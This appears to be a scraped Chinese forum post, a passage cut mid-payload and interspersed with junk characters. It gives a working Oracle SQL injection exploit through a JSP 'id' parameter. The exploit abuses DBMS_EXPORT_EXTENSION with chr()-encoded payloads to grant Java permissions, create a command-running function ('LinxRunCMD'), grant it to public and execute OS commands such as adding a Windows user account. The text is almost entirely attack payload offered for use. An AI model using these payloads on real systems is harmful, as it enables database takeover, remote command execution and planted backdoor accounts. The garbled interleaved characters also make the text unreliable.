; w& e3 M F3 l$ Jchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
6 j6 D3 R R3 S( x* Achr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||; c" n5 `+ X! _5 o+ ?( f2 [
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
( y0 S$ {- t; w! |( Schr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
8 G- e& }; F. j0 K! C# E1 Gchr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
H1 n& s, k; gchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)$ l0 R3 c0 {% d# y
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual$ v/ P$ U9 x, a# n+ E1 d
' w' e$ d0 s- V)
! o1 B% ~( S* c! k/ K4 _ P& P, v: Z+ `7 X/ E1 A- ?* U
------------------------------
5 n1 f; e8 ^* G6 F9 M
0 \( _( \, z }- J7 d6 p- ?2.赋Java权限* ^" N3 ?8 j+ d0 A# M* G
/xxx.jsp?id=1 and chr(49)<>chr(50)||( j3 U! H6 S3 r% h9 f' f! H$ T
$ `) B" E* e4 v+ d: rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
b5 B* T5 n5 ^: B3 E: ]2 I0 u) Nchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
2 {9 Q3 B9 y) u# @" o' @chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
`& s" _; [: D5 r& |! K/ Uchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||' |, l' a# r0 u: `" {
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||" S( Z# ^: x7 |5 ~/ V0 j9 j0 n. f
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
, c* y) o5 T. C- R4 {# ]' rchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
0 ~* M5 U. v9 L' m$ h7 Y+ Fchr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||( F5 l& a: D8 n6 j
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
6 X. R5 n! E# E- C8 X! W# q& Fchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)0 |% b) A. j2 N3 N" _
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual* H7 @1 C. c. j, e
" S& Y. S3 N4 X9 a6 o0 s2 J
)
& Q1 n' H" Y" o7 q8 E
# ^. K& z/ r6 k. J3 greadfile函数的ascii版就不写了,见谅。
4 d# V( t9 R7 F% M9 N; O
, o9 G2 T2 t6 i2 v' N6 C% Q3.创建函数( G9 l7 r' p! m
8 ]" ^( E d8 C( V4 l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),6 L# {' f: m9 \
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
9 _% D# c, i( f* L% [5 j& echr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||/ [$ |: H0 X9 Q: x7 [4 ^& v! \
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
% N |7 }2 C+ H. j! p& fchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||5 Y7 S8 K$ Q9 n$ R+ M |2 L) K
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||* J2 h' S* U! W/ L* j
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||+ F8 _# E( p7 s2 @! y4 e
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
! h; ~* Q' \" W0 r' `chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||7 c6 b( S( N4 G+ @4 o8 `
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||+ L2 L# `, W* ?4 A
chr(59)||chr(45)||chr(45)
) P( f! W4 Z1 o,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
+ k, `9 p4 ]/ B9 O9 i5 B+ A) y! o9 _! S, ?: l* K' t
4 X9 a4 M& g: k( A. e
8 `8 e$ ~6 f4 z' C: c2 B0 A
4.赋public执行函数的权限
. B0 ^- P* v- I. V$ ~7 m) D* ^( I+ C
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),& `/ v6 e! f7 k$ Q
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||% [$ U' Y6 r* J T
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
0 ]& M M' G! r1 f; ?6 O) P B# `chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
' S# ^5 d2 s/ C$ Cchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||. p2 b; K2 K7 N
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||; a' n C3 k9 D# e1 }' Z, U* R
chr(59)||chr(45)||chr(45)) ?: k" R7 T1 F) y+ l
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual& p8 H1 w5 e- }
' P9 k- s' [3 F; X" i% J
" p9 i# H& P0 S( g7 V l
( h; z2 ~" W5 Z4 x* Q- \
5.执行命令:
' a6 c" [+ y& @ e5 W" c7 ? O5 o
/xxx.jsp?id=1 and chr(49)<>chr(32)||(7 D+ G! ?* f9 W. }% _% D% M9 M
select sys.LinxRunCMD('cmd /c net user linx /add') from dual) T1 v0 F0 z& b% O3 _6 D
)4 R7 b( t- v# N+ H2 j* [0 j
f9 {, {3 F( A5 N5 m
即: S8 A8 ]% u* |! I- Y# {
/xxx.jsp?id=1 and chr(49)<>chr(32)||(7 f* `7 {+ J" j5 ^' z
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
) `6 y- u2 C1 i( Y$ ?. r8 m) t1 B)/ Z$ \, f- Z9 K% N/ p1 B
|